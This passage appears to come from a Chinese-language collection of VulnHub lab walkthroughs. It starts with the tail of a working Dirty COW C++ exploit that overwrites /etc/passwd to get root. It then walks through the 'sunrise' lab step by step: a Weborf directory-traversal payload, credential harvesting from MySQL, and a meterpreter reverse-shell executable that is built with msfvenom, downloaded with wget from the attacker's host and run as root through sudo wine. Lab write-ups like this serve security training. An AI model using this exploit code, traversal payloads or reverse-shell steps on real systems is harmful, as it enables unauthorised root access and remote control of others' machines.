       if(buffer.find(root) == 0){
          etcPwd.insert(0, root).insert(root.size(), pwd);
          etcPwd.insert(etcPwd.begin() + root.size() + pwd.size(), 
                        buffer.begin() + buffer.find(":", root.size()), buffer.end());
       }else if(buffer.find(user) == 0 ||  buffer.find(sshd) == 0 ){
          etcPwd.insert(0, buffer);
       }else{
          etcPwd.append(buffer);
       }
   }
   extPwdBak = new ofstream(restPwd ? TMPBAKFILE : BAKFILE);
   extPwdBak->write(etcPwdBak.c_str(), etcPwdBak.size());
   extPwdBak->close();
   fd = open(PWDFILE,O_RDONLY);
   map = mmap(nullptr, etcPwdBak.size(), PROT_READ,MAP_PRIVATE, fd, 0);
}

Dcow::~Dcow(void){
   extPwd->close();
   close(fd);
   delete extPwd; delete extPwdBak; delete madviseThr; delete writerThr; delete checkerThr;
   if(rawMode)    tcsetattr(STDIN_FILENO, TCSANOW, &termOld);
   if(child != 0) wait(&wstat); 
}

void Dcow::exitOnError(string msg){
      cerr << msg << endl;
      // if(child != 0) kill(child, SIGKILL);
      throw new exception();
}

int  Dcow::expl(void){
   madviseThr = new thread([&](){ while(run){ madvise(map, etcPwdBak.size(), MADV_DONTNEED);} });
   writerThr  = new thread([&](){ int fpsm = open(PSM,O_RDWR);  
                                  while(run){ lseek(fpsm, reinterpret_cast<off_t>(map), SEEK_SET); 
                                              ign = write(fpsm, etcPwd.c_str(), etcPwdBak.size()); }
                                });
   checkerThr = new thread([&](){ while(iter <= MAXITER){ 
                                         extPwd->clear(); extPwd->seekg(0, ios::beg); 
                                         buffer.assign(istreambuf_iterator<char>(*extPwd),
                                                       istreambuf_iterator<char>());
                                         if(buffer.find(pwd) != string::npos && 
                                            buffer.size() >= etcPwdBak.size()){
                                                run = false; break;
                                         }
                                         iter ++; usleep(300000);
                                   }
                                   run = false;
                                 });

  cerr << "Running ..." << endl;
  madviseThr->join();
  writerThr->join();
  checkerThr->join();

  if(iter <= MAXITER){ 
       child = forkpty(&master, nullptr, nullptr, nullptr);

       if(child == -1) exitOnError("Error forking pty.");

       if(child == 0){ 
          execlp("su", "su", "-", nullptr);
          exitOnError("Error on exec.");
       }

       if(opShell) cerr << "Password overridden to: " <<  TXTPWD << endl;
       memset(buffv, 0, BUFFSIZE);
       ssize_t bytes_read = read(master, buffv, BUFFSIZE - 1);
       if(bytes_read <= 0) exitOnError("Error reading  su prompt.");
       cerr << "Received su prompt (" << buffv << ")" << endl; 

       if(write(master, TXTPWD, strlen(TXTPWD)) <= 0) 
            exitOnError("Error writing pwd on tty.");

       if(write(master, DISABLEWB, strlen(DISABLEWB)) <= 0) 
            exitOnError("Error writing cmd on tty.");

       if(!opShell){
            if(write(master, EXITCMD, strlen(EXITCMD)) <= 0) 
                 exitOnError("Error writing exit cmd on tty.");
       }else{
           if(restPwd){
               string restoreCmd = string(CPCMD).append(TMPBAKFILE).append(" ").append(PWDFILE).append("\n");
               if(write(master, restoreCmd.c_str(), restoreCmd.size()) <= 0) 
                    exitOnError("Error writing restore cmd on tty.");
               restoreCmd        = string(RMCMD).append(TMPBAKFILE).append("\n");
               if(write(master, restoreCmd.c_str(), restoreCmd.size()) <= 0) 
                    exitOnError("Error writing restore cmd (rm) on tty.");
           }

           if(tcgetattr(STDIN_FILENO, &termOld) == -1 )
                exitOnError("Error getting terminal attributes.");
    
           termNew               = termOld;
           termNew.c_lflag       &= static_cast<unsigned long>(~(ICANON | ECHO));
    
           if(tcsetattr(STDIN_FILENO, TCSANOW, &termNew) == -1)
                exitOnError("Error setting terminal in non-canonical mode.");
           rawMode = true;
    
           while(true){
                FD_ZERO(&rfds);
                FD_SET(master, &rfds);
                FD_SET(STDIN_FILENO, &rfds);
    
                if(select(master + 1, &rfds, nullptr, nullptr, nullptr) < 0 )
                    exitOnError("Error on select tty.");
    
                if(FD_ISSET(master, &rfds)) {
                    memset(buffv, 0, BUFFSIZE);
                    bytes_read = read(master, buffv, BUFFSIZE - 1);
                    if(bytes_read <= 0) break;
                    if(write(STDOUT_FILENO, buffv, bytes_read) != bytes_read)
                          exitOnError("Error writing on stdout.");
                }
    
                if(FD_ISSET(STDIN_FILENO, &rfds)) {
                    memset(buffv, 0, BUFFSIZE);
                    bytes_read = read(STDIN_FILENO, buffv, BUFFSIZE - 1);
                    if(bytes_read <= 0) exitOnError("Error reading from stdin.");
                    if(write(master, buffv, bytes_read) != bytes_read) break;
                }
            }
      }
  }
 
  return [](int ret, bool shell){ 
       string msg = shell ? "Exit.\n" : string("Root password is:   ") + TXTPWD + "Enjoy! :-)\n";
       if(ret <= MAXITER){cerr << msg; return 0;}
       else{cerr << "Exploit failed.\n"; return 1;} 
  }(iter, opShell);
}

void printInfo(char* cmd){
      cerr << cmd << " [-s] [-n] | [-h]\n" << endl;
      cerr << " -s  open directly a shell, if the exploit is successful;" << endl;
      cerr << " -n  combined with -s, doesn't restore the passwd file." << endl;
      cerr << " -h  print this synopsis;" << endl;
      cerr << "\n If no param is specified, the program modifies the passwd file and exits." << endl;
      cerr << " A copy of the passwd file will be create in the current directory as .ssh_bak" << endl;
      cerr << " (unprivileged user), if no parameter or -n is specified.\n" << endl;
      exit(1);
}

int main(int argc, char** argv){
   const char  flags[]   = "shn";
   int         c;
   bool        opShell   = false,
               restPwd   = true;

   opterr = 0;
   while ((c = getopt(argc, argv, flags)) != -1){
      switch (c){
         case 's':
            opShell = true;
         break;
         case 'n':
            restPwd = false;
         break;
         case 'h':
            printInfo(argv[0]);
         break;
         default:
            cerr << "Invalid parameter." << endl << endl;
            printInfo(argv[0]);
      }
   }

   if(!restPwd && !opShell){
            cerr << "Invalid parameter: -n requires -s" << endl << endl;
            printInfo(argv[0]);
   }

   Dcow dcow(opShell, restPwd);
   return dcow.expl();
}
```

<font color="red">***此外UDP69端口开放也可以使用tftp下载backup.tar文件***</font>

#### 知识点总结

 - 文件包含
 - php://filter/convert.base64-encode协议加密传输下载文件
 - ssh key 登录shell
 - vim命令设置shell并跳至shell
 - Exim-4.84-3-本地提权
 - 脏牛提权(dirty cow)
 - udp66端口tftp文件下载

<font color="red">Game over</font>

不好意思，这次还是没有找到希腊某位大佬的傻瓜式一键通关脚本，i am so sorry about this...It's a pity...

![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/haha.jpg)

<font color="green">***The end,to be continue...***</font>
<!-- kb:end pluck-1 -->

</details>

<a id="case-sunset-sunrise"></a>

## Weborf 读取与 Wine 执行

路径读取恢复系统材料，原文分别验证口令路径和 sudo Wine 的可执行文件路径。两条结果保留各自前提。

<p class="kb-provenance">来源 sunset-sunrise · 原记录 2019-12-24 · 20 个代码块 · 8 处图片引用</p>

<details class="kb-evidence" id="record-sunset-sunrise">
<summary>查看分析过程、攻击步骤与完整代码</summary>

<!-- kb:start sunset-sunrise -->

名称：日落：日出
发布日期：2019年12月6日

下载：
 - Download: https://mega.nz/#!IKQQ2SxZ!anBsBnlQrYh2ELYWYa1mHYKG_7kRw402zfo2WOOB8Z0
 - Download (Mirror): https://download.vulnhub.com/sunset/sunrise.7z
 - Download (Torrent): https://download.vulnhub.com/sunset/sunrise.7z.torrent

描述：

说明：玩得开心！
难度：初学者
联系人：@whitecr0wz



#### 信息收集

上nmap

``` bash
root@kali:~# nmap -sn -v 192.168.56.0/24
Nmap scan report for 192.168.56.104
Host is up (0.00027s latency).
MAC Address: 08:00:27:67:12:DE (Oracle VirtualBox virtual NIC)
```

``` bash
root@kali:~# nmap -A -v -sS -sV -Pn -T5 -p- --script=vuln 192.168.56.104
PORT     STATE SERVICE    VERSION
22/tcp   open  ssh        OpenSSH 7.9p1 Debian 10+deb10u1 (protocol 2.0)
|_clamav-exec: ERROR: Script execution failed (use -d to debug)
80/tcp   open  http       Apache httpd 2.4.38
|_clamav-exec: ERROR: Script execution failed (use -d to debug)
|_http-csrf: Couldn't find any CSRF vulnerabilities.
|_http-dombased-xss: Couldn't find any DOM based XSS.
| http-enum: 
|_  /: Root directory w/ listing on 'apache/2.4.38 (debian)'
|_http-server-header: Apache/2.4.38 (Debian)
| http-sql-injection: 
|   Possible sqli for queries:
|     http://192.168.56.104:80/?C=D%3bO%3dA%27%20OR%20sqlspider
|     http://192.168.56.104:80/?C=N%3bO%3dD%27%20OR%20sqlspider
|     http://192.168.56.104:80/?C=M%3bO%3dA%27%20OR%20sqlspider
|     http://192.168.56.104:80/?C=S%3bO%3dA%27%20OR%20sqlspider
|     http://192.168.56.104:80/?C=S%3bO%3dA%27%20OR%20sqlspider
|     http://192.168.56.104:80/?C=M%3bO%3dA%27%20OR%20sqlspider
|     http://192.168.56.104:80/?C=D%3bO%3dD%27%20OR%20sqlspider
|     http://192.168.56.104:80/?C=N%3bO%3dA%27%20OR%20sqlspider
|     http://192.168.56.104:80/?C=D%3bO%3dA%27%20OR%20sqlspider
|     http://192.168.56.104:80/?C=S%3bO%3dA%27%20OR%20sqlspider
|     http://192.168.56.104:80/?C=M%3bO%3dA%27%20OR%20sqlspider
|     http://192.168.56.104:80/?C=N%3bO%3dA%27%20OR%20sqlspider
|     http://192.168.56.104:80/?C=D%3bO%3dA%27%20OR%20sqlspider
|     http://192.168.56.104:80/?C=S%3bO%3dA%27%20OR%20sqlspider
|     http://192.168.56.104:80/?C=M%3bO%3dD%27%20OR%20sqlspider
|     http://192.168.56.104:80/?C=N%3bO%3dA%27%20OR%20sqlspider
|     http://192.168.56.104:80/?C=D%3bO%3dA%27%20OR%20sqlspider
|     http://192.168.56.104:80/?C=M%3bO%3dA%27%20OR%20sqlspider
|     http://192.168.56.104:80/?C=S%3bO%3dD%27%20OR%20sqlspider
|     http://192.168.56.104:80/?C=N%3bO%3dA%27%20OR%20sqlspider
|     http://192.168.56.104:80/?C=D%3bO%3dA%27%20OR%20sqlspider
|     http://192.168.56.104:80/?C=S%3bO%3dA%27%20OR%20sqlspider
|     http://192.168.56.104:80/?C=M%3bO%3dA%27%20OR%20sqlspider
|     http://192.168.56.104:80/?C=N%3bO%3dA%27%20OR%20sqlspider
|     http://192.168.56.104:80/?C=D%3bO%3dA%27%20OR%20sqlspider
|     http://192.168.56.104:80/?C=N%3bO%3dD%27%20OR%20sqlspider
|     http://192.168.56.104:80/?C=M%3bO%3dA%27%20OR%20sqlspider
|     http://192.168.56.104:80/?C=S%3bO%3dA%27%20OR%20sqlspider
|     http://192.168.56.104:80/?C=D%3bO%3dA%27%20OR%20sqlspider
|     http://192.168.56.104:80/?C=S%3bO%3dA%27%20OR%20sqlspider
|     http://192.168.56.104:80/?C=M%3bO%3dA%27%20OR%20sqlspider
|     http://192.168.56.104:80/?C=N%3bO%3dA%27%20OR%20sqlspider
|     http://192.168.56.104:80/?C=D%3bO%3dA%27%20OR%20sqlspider
|     http://192.168.56.104:80/?C=S%3bO%3dA%27%20OR%20sqlspider
|     http://192.168.56.104:80/?C=M%3bO%3dA%27%20OR%20sqlspider
|_    http://192.168.56.104:80/?C=N%3bO%3dA%27%20OR%20sqlspider
|_http-stored-xss: Couldn't find any stored XSS vulnerabilities.
3306/tcp open  mysql?
|_clamav-exec: ERROR: Script execution failed (use -d to debug)
| fingerprint-strings: 
|   NULL: 
|_    Host '192.168.56.102' is not allowed to connect to this MariaDB server
|_mysql-vuln-cve2012-2122: ERROR: Script execution failed (use -d to debug)
8080/tcp open  http-proxy Weborf (GNU/Linux)
|_clamav-exec: ERROR: Script execution failed (use -d to debug)
| fingerprint-strings: 
|   FourOhFourRequest: 
|     HTTP/1.1 404 Page not found: Weborf (GNU/Linux)
|     Content-Length: 202
|     Content-Type: text/html
|     <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"><html><head><title>Weborf</title></head><body> <H1>Error 404</H1>Page not found <p>Generated by Weborf/0.12.2 (GNU/Linux)</p></body></html>
|   GetRequest: 
|     HTTP/1.1 200
|     Server: Weborf (GNU/Linux)
|     Content-Length: 326
|     <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"><html><head><title>Weborf</title></head><body><table><tr><td></td><td>Name</td><td>Size</td></tr><tr style="background-color: #DFDFDF;"><td>d</td><td><a href="html/">html/</a></td><td>-</td></tr>
|     </table><p>Generated by Weborf/0.12.2 (GNU/Linux)</p></body></html>
|   HTTPOptions, RTSPRequest, SIPOptions: 
|     HTTP/1.1 200
|     Server: Weborf (GNU/Linux)
|     Allow: GET,POST,PUT,DELETE,OPTIONS,PROPFIND,MKCOL,COPY,MOVE
|     DAV: 1,2
|     DAV: <http://apache.org/dav/propset/fs/1>
|     MS-Author-Via: DAV
|   Socks5: 
|     HTTP/1.1 400 Bad request: Weborf (GNU/Linux)
|     Content-Length: 199
|     Content-Type: text/html
|_    <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"><html><head><title>Weborf</title></head><body> <H1>Error 400</H1>Bad request <p>Generated by Weborf/0.12.2 (GNU/Linux)</p></body></html>
| http-enum: 
|   /../../../../../../../../../../etc/passwd: Possible path traversal in URI
|   /../../../../../../../../../../boot.ini: Possible path traversal in URI
|_  /html/: Potentially interesting folder
|_http-server-header: Weborf (GNU/Linux)
```

访问http://192.168.56.104:8080/，发现是Weborf/0.12.2

![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/vulnhub95.jpg)

现在使用searchsploit搜索Weborf。 如果没有成功，尝试其他方法。 但是成功了。 说此版本的Weborf容易受到目录遍历攻击。 下载漏洞利用程序的内容，以获取相关信息。 漏洞利用提供了一条易受攻击的方法。 尝试一下。

``` bash
root@kali:~# searchsploit Weborf 0.12.2
-------------------------------------------------------------- ----------------------------------------
 Exploit Title                                                |  Path
                                                              | (/usr/share/exploitdb/)
-------------------------------------------------------------- ----------------------------------------
weborf 0.12.2 - Directory Traversal                           | exploits/linux/remote/14925.txt
-------------------------------------------------------------- ----------------------------------------
Shellcodes: No Result
root@kali:~# searchsploit -m 14925
  Exploit: weborf 0.12.2 - Directory Traversal
      URL: https://www.exploit-db.com/exploits/14925
     Path: /usr/share/exploitdb/exploits/linux/remote/14925.txt
File Type: ASCII text, with CRLF line terminators

Copied to: /root/14925.txt


root@kali:~# cat 14925.txt 
Title: Weborf httpd <= 0.12.2 Directory Traversal Vulnerability
Date: Sep 6, 2010
Author: Rew
Link: http://galileo.dmi.unict.it/wiki/weborf/doku.php
Version: 0.12.2
Tested On: Debian 5
CVE: N/A

=============================================================

Weborf httpd <= 0.12.2 suffers a directory traversal
vulnerability.  This vulnerability could allow
attackers to read arbitrary files and hak th3 plan3t.

instance.c : line 240-244
------------------------------
void modURL(char* url) {
    //Prevents the use of .. to access the whole filesystem  <-- ORLY?
    strReplace(url,"../",'\0');

    replaceEscape(url);
------------------------------

Exploit: GET /..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd

==============================================================

Stay safe,
Over and Outr
```

按照exp中的利用方法构造如下poc并访问

``` bash
http://192.168.56.104:8080/..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd
```

![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/vulnhub96.jpg)

现在，能在目标计算机内四处查找文件。 决定在用户Sunrise的主目录中进行文件查看。 遇到了一个user.txt文件。

``` bash
http://192.168.56.104:8080/..%2f..%2f..%2f..%2f..%2f..%2f..%2fhome%2fsunrise%2f
```

![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/vulnhub97.jpg)

打开user.txt查找文本，如下所示。 是一个简单的user的flag。 

![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/vulnhub98.jpg)

``` bash
a6050aecf6303b0b824038807d823a89
```

接下来对下面url爆破一波

``` bash
http://192.168.56.104:8080/..%2f..%2f..%2f..%2f..%2f..%2f..%2fhome%2fweborf%2f
```

``` bash
root@kali:~# dirb http://192.168.56.104:8080/..%2f..%2f..%2f..%2f..%2f..%2f..%2fhome%2fweborf%2f

-----------------
DIRB v2.22    
By The Dark Raver
-----------------

START_TIME: Wed Dec 25 03:38:57 2019
URL_BASE: http://192.168.56.104:8080/..%2f..%2f..%2f..%2f..%2f..%2f..%2fhome%2fweborf%2f/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt

-----------------

GENERATED WORDS: 4612                                                          

---- Scanning URL: http://192.168.56.104:8080/..%2f..%2f..%2f..%2f..%2f..%2f..%2fhome%2fweborf%2f/ ----
+ http://192.168.56.104:8080/..%2f..%2f..%2f..%2f..%2f..%2f..%2fhome%2fweborf%2f/.bashrc (CODE:200|SIZE:3526)
+ http://192.168.56.104:8080/..%2f..%2f..%2f..%2f..%2f..%2f..%2fhome%2fweborf%2f/.mysql_history (CODE:200|SIZE:83)
+ http://192.168.56.104:8080/..%2f..%2f..%2f..%2f..%2f..%2f..%2fhome%2fweborf%2f/.profile (CODE:200|SIZE:807)
                                                                               %2fweborf%2f/zt               
-----------------
END_TIME: Wed Dec 25 03:39:12 2019
DOWNLOADED: 4612 - FOUND: 3
```

访问下面url可得

``` bash
http://192.168.56.104:8080/..%2f..%2f..%2f..%2f..%2f..%2f..%2fhome%2fweborf%2f/.mysql_history
```

![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/vulnhub99.jpg)

``` bash
show databases;
ALTER USER 'weborf'@'localhost' IDENTIFIED BY 'iheartrainbows44';
```

#### getshell

使用用户名和密码weborf/iheartrainbows44成功连接ssh

``` bash
root@kali:~# ssh weborf@192.168.56.104
The authenticity of host '192.168.56.104 (192.168.56.104)' can't be established.
ECDSA key fingerprint is SHA256:4yaOo7mwlBs//3V1VVqqtiApksgelyI4AJwhIUfz0UQ.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '192.168.56.104' (ECDSA) to the list of known hosts.
weborf@192.168.56.104's password: 
Linux sunrise 4.19.0-6-amd64 #1 SMP Debian 4.19.67-2+deb10u2 (2019-11-11) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Thu Dec  5 16:24:32 2019 from 192.168.1.146
weborf@sunrise:~$ id
uid=1001(weborf) gid=1001(weborf) groups=1001(weborf)
weborf@sunrise:~$ whoami
weborf
weborf@sunrise:~$ pwd
/home/weborf
```

#### 提权

连接数据库获取用户名和密码

``` bash
weborf@sunrise:~$ mysql -uweborf -piheartrainbows44
Welcome to the MariaDB monitor.  Commands end with ; or \g.
Your MariaDB connection id is 37
Server version: 10.3.18-MariaDB-0+deb10u1 Debian 10

Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

MariaDB [(none)]> 
MariaDB [(none)]> show databases;
+--------------------+
| Database           |
+--------------------+
| information_schema |
| mysql              |
| performance_schema |
+--------------------+
3 rows in set (0.028 sec)

MariaDB [(none)]> use mysql;
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A

Database changed
MariaDB [mysql]> show tables;
+---------------------------+
| Tables_in_mysql           |
+---------------------------+
| column_stats              |
| columns_priv              |
| db                        |
| event                     |
| func                      |
| general_log               |
| gtid_slave_pos            |
| help_category             |
| help_keyword              |
| help_relation             |
| help_topic                |
| host                      |
| index_stats               |
| innodb_index_stats        |
| innodb_table_stats        |
| plugin                    |
| proc                      |
| procs_priv                |
| proxies_priv              |
| roles_mapping             |
| servers                   |
| slow_log                  |
| table_stats               |
| tables_priv               |
| time_zone                 |
| time_zone_leap_second     |
| time_zone_name            |
| time_zone_transition      |
| time_zone_transition_type |
| transaction_registry      |
| user                      |
+---------------------------+
31 rows in set (0.000 sec)
MariaDB [mysql]> select * from user;
+-----------+---------+-------------------------------------------+-------------+-------------+-------------+-------------+-------------+-----------+-------------+---------------+--------------+-----------+------------+-----------------+------------+------------+--------------+------------+-----------------------+------------------+--------------+-----------------+------------------+------------------+----------------+---------------------+--------------------+------------------+------------+--------------+------------------------+---------------------+----------+------------+-------------+--------------+---------------+-------------+-----------------+----------------------+-------------+-------------------------------------------+------------------+---------+--------------+--------------------+
| Host      | User    | Password                                  | Select_priv | Insert_priv | Update_priv | Delete_priv | Create_priv | Drop_priv | Reload_priv | Shutdown_priv | Process_priv | File_priv | Grant_priv | References_priv | Index_priv | Alter_priv | Show_db_priv | Super_priv | Create_tmp_table_priv | Lock_tables_priv | Execute_priv | Repl_slave_priv | Repl_client_priv | Create_view_priv | Show_view_priv | Create_routine_priv | Alter_routine_priv | Create_user_priv | Event_priv | Trigger_priv | Create_tablespace_priv | Delete_history_priv | ssl_type | ssl_cipher | x509_issuer | x509_subject | max_questions | max_updates | max_connections | max_user_connections | plugin      | authentication_string                     | password_expired | is_role | default_role | max_statement_time |
+-----------+---------+-------------------------------------------+-------------+-------------+-------------+-------------+-------------+-----------+-------------+---------------+--------------+-----------+------------+-----------------+------------+------------+--------------+------------+-----------------------+------------------+--------------+-----------------+------------------+------------------+----------------+---------------------+--------------------+------------------+------------+--------------+------------------------+---------------------+----------+------------+-------------+--------------+---------------+-------------+-----------------+----------------------+-------------+-------------------------------------------+------------------+---------+--------------+--------------------+
| localhost | root    | *C7B6683EEB8FF8329D8390574FAA04DD04B87C58 | Y           | Y           | Y           | Y           | Y           | Y         | Y           | Y             | Y            | Y         | Y          | Y               | Y          | Y          | Y            | Y          | Y                     | Y                | Y            | Y               | Y                | Y                | Y              | Y                   | Y                  | Y                | Y          | Y            | Y                      | Y                   |          |            |             |              |             0 |           0 |               0 |                    0 | unix_socket | *AF554C323F838EB43A3D464034692C0994346ED8 | N                | N       |              |           0.000000 |
| localhost | sunrise | thefutureissobrightigottawearshades       | N           | N           | N           | N           | N           | N         | N           | N             | N            | N         | N          | N               | N          | N          | N            | N          | N                     | N                | N            | N               | N                | N                | N              | N                   | N                  | N                | N          | N            | N                      | N                   |          |            |             |              |             0 |           0 |               0 |                    0 |             |                                           | N                | N       |              |           0.000000 |
| localhost | weborf  | *A76018C6BB42E371FD7B71D2EC6447AE6E37DB28 | Y           | Y           | Y           | Y           | Y           | Y         | Y           | Y             | Y            | Y         | N          | Y               | Y          | Y          | Y            | Y          | Y                     | Y                | Y            | Y               | Y                | Y                | Y              | Y                   | Y                  | Y                | Y          | Y            | Y                      | Y                   |          |            |             |              |             0 |           0 |               0 |                    0 |             |                                           | N                | N       |              |           0.000000 |
+-----------+---------+-------------------------------------------+-------------+-------------+-------------+-------------+-------------+-----------+-------------+---------------+--------------+-----------+------------+-----------------+------------+------------+--------------+------------+-----------------------+------------------+--------------+-----------------+------------------+------------------+----------------+---------------------+--------------------+------------------+------------+--------------+------------------------+---------------------+----------+------------+-------------+--------------+---------------+-------------+-----------------+----------------------+-------------+-------------------------------------------+------------------+---------+--------------+--------------------+
3 rows in set (0.000 sec)
```

将root的hash值解密得到purplerain54732,直接root用户登录完成提权

![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/vulnhub100.jpg)

``` bash
weborf@sunrise:~$ su root
Password: 
root@sunrise:/home/weborf# ls
weborf-0.12.2
root@sunrise:/home/weborf# id
uid=0(root) gid=0(root) groups=0(root)
root@sunrise:/home/weborf# whoami
root
```

#### 得到flag

``` bash
root@sunrise:/home/weborf# cd /root
root@sunrise:~# ls
Desktop  Documents  Downloads  Groups  Logs  Manual  Music  Pictures  Public  Readme  root.txt  Templates  Users  Videos
root@sunrise:~# cat root.txt
            ^^                   @@@@@@@@@
       ^^       ^^            @@@@@@@@@@@@@@@
                            @@@@@@@@@@@@@@@@@@              ^^
                           @@@@@@@@@@@@@@@@@@@@
 ~~~~ ~~ ~~~~~ ~~~~~~~~ ~~ &&&&&&&&&&&&&&&&&&&& ~~~~~~~ ~~~~~~~~~~~ ~~~
 ~         ~~   ~  ~       ~~~~~~~~~~~~~~~~~~~~ ~       ~~     ~~ ~
   ~      ~~      ~~ ~~ ~~  ~~~~~~~~~~~~~ ~~~~  ~     ~~~    ~ ~~~  ~ ~~
   ~  ~~     ~         ~      ~~~~~~  ~~ ~~~       ~~ ~ ~~  ~~ ~
 ~  ~       ~ ~      ~           ~~ ~~~~~~  ~      ~~  ~             ~~
       ~             ~        ~      ~      ~~   ~             ~

Thanks for playing! - Felipe Winsnes (@whitecr0wz)

24edb59d21c273c033aa6f1689b0b18c
```

![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/vulnhub101.jpg)

<font color="red">What a beautiful sunrise!!!</font>

#### Other way

如果root的hash值解密不出来，还可以使用sunrise/thefutureissobrightigottawearshades登录，然后提权，密码拆开正常排序发现是

``` bash
the future is so bright i gotta wear shades
(未来是如此光明，以至于我必须戴上墨镜)
```

成功登录

``` bash
weborf@sunrise:~$ su sunrise                                                                                                                                                                                                               
Password:                                                                                                                                                                                                                                  
sunrise@sunrise:/home/weborf$ id                                                                                                                                                                                                           
uid=1000(sunrise) gid=1000(sunrise) groups=1000(sunrise),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),109(netdev),111(bluetooth),115(lpadmin),116(scanner)                                                                 
sunrise@sunrise:/home/weborf$ whoami                                                                                                                                                                                                       
sunrise
```

下面是提权进程，基本不需要各种提权脚本，手动更快更准

``` bash
sunrise@sunrise:~$ sudo -l
[sudo] password for sunrise:                                                                                                                                                                                                               
Matching Defaults entries for sunrise on sunrise:                                                                                                                                                                                          
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin                                                                                                                                 
                                                                                                                                                                                                                                           
User sunrise may run the following commands on sunrise:                                                                                                                                                                                    
    (root) /usr/bin/wine

sunrise@sunrise:~$ cd /tmp
```

Wine（Wine不是模拟器的递归反义词）是一个免费的开放源代码兼容性层，旨在使为Microsoft Windows开发的计算机程序（应用程序软件和计算机游戏）能够在类似Unix的操作系统上运行。

可以以root身份运行wine，创建可以使用wine执行的payload。 使用msfpc进行payload创建。 创建payload后，将运行python一个liner将payload传输到目标计算机。

``` bash
root@kali:~# msfpc windows 192.168.56.102
 [*] MSFvenom Payload Creator (MSFPC v1.4.5)
 [i]   IP: 192.168.56.102
 [i] PORT: 443
 [i] TYPE: windows (windows/meterpreter/reverse_tcp)
 [i]  CMD: msfvenom -p windows/meterpreter/reverse_tcp -f exe \
  --platform windows -a x86 -e generic/none LHOST=192.168.56.102 LPORT=443 \
  > '/root/windows-meterpreter-staged-reverse-tcp-443.exe'


 [i] windows meterpreter created: '/root/windows-meterpreter-staged-reverse-tcp-443.exe'

 [i] MSF handler file: '/root/windows-meterpreter-staged-reverse-tcp-443-exe.rc'
 [i] Run: msfconsole -q -r '/root/windows-meterpreter-staged-reverse-tcp-443-exe.rc'
 [?] Quick web server (for file transfer)?: python2 -m SimpleHTTPServer 8080
 [*] Done!

root@kali:~# python -m SimpleHTTPServer
Serving HTTP on 0.0.0.0 port 8000 ...
```

将payload托管在攻击者的计算机上，使用wget工具将所述文件下载到目标计算机。 成功将payload传输到目标计算机之后，使用wine和sudo执行有效负载。

``` bash
sunrise@sunrise:/tmp$ wget http://192.168.56.102:8000/windows-meterpreter-staged-reverse-tcp-443.exe
--2019-12-25 04:29:12--  http://192.168.56.102:8000/windows-meterpreter-staged-reverse-tcp-443.exe
Connecting to 192.168.56.102:8000... connected.
HTTP request sent, awaiting response... 200 OK
Length: 73802 (72K) [application/x-msdos-program]
Saving to: ‘windows-meterpreter-staged-reverse-tcp-443.exe’

windows-meterpreter-staged-reverse-tcp-443.exe             100%[=======================================================================================================================================>]  72.07K  --.-KB/s    in 0s      

2019-12-25 04:29:12 (439 MB/s) - ‘windows-meterpreter-staged-reverse-tcp-443.exe’ saved [73802/73802]

sunrise@sunrise:/tmp$ sudo wine windows-meterpreter-staged-reverse-tcp-443.exe
[sudo] password for sunrise: 
```

使用msfpc工具生成payload时，还将运行payload侦听器所需的配置来生成Metasploit Framework ruby文件。 运行了该ruby文件，在该目标计算机上使用wine运行该文件时。 看到一个session弹出。 由于该文件是使用具有root特权shell的wine执行的，因此我们也获得了root权限。 遍历到根目录，当列出该目录中的所有文件时，找到root.txt的文件。

``` bash
root@kali:~# msfconsole -q -r '/root/windows-meterpreter-staged-reverse-tcp-443-exe.rc'                                                                                                                                                    
[*] Processing /root/windows-meterpreter-staged-reverse-tcp-443-exe.rc for ERB directives.                                                                                                                                                 
resource (/root/windows-meterpreter-staged-reverse-tcp-443-exe.rc)> use exploit/multi/handler                                                                                                                                              
resource (/root/windows-meterpreter-staged-reverse-tcp-443-exe.rc)> set PAYLOAD windows/meterpreter/reverse_tcp                                                                                                                            
PAYLOAD => windows/meterpreter/reverse_tcp                                                                                                                                                                                                 
resource (/root/windows-meterpreter-staged-reverse-tcp-443-exe.rc)> set LHOST 192.168.56.102                                                                                                                                               
LHOST => 192.168.56.102
resource (/root/windows-meterpreter-staged-reverse-tcp-443-exe.rc)> set LPORT 443
LPORT => 443
resource (/root/windows-meterpreter-staged-reverse-tcp-443-exe.rc)> set ExitOnSession false
ExitOnSession => false
resource (/root/windows-meterpreter-staged-reverse-tcp-443-exe.rc)> set EnableStageEncoding true
EnableStageEncoding => true
resource (/root/windows-meterpreter-staged-reverse-tcp-443-exe.rc)> run -j
[*] Exploit running as background job 0.
[*] Exploit completed, but no session was created.

[*] Started reverse TCP handler on 192.168.56.102:443 
msf5 exploit(multi/handler) > [*] Encoded stage with x86/shikata_ga_nai
[*] Sending encoded stage (180320 bytes) to 192.168.56.104
[*] Meterpreter session 1 opened (192.168.56.102:443 -> 192.168.56.104:44876) at 2019-12-25 04:37:04 -0500
msf5 exploit(multi/handler) > sessions 1
[*] Starting interaction with 1...

meterpreter > whoami
[-] Unknown command: whoami.
meterpreter > getuid
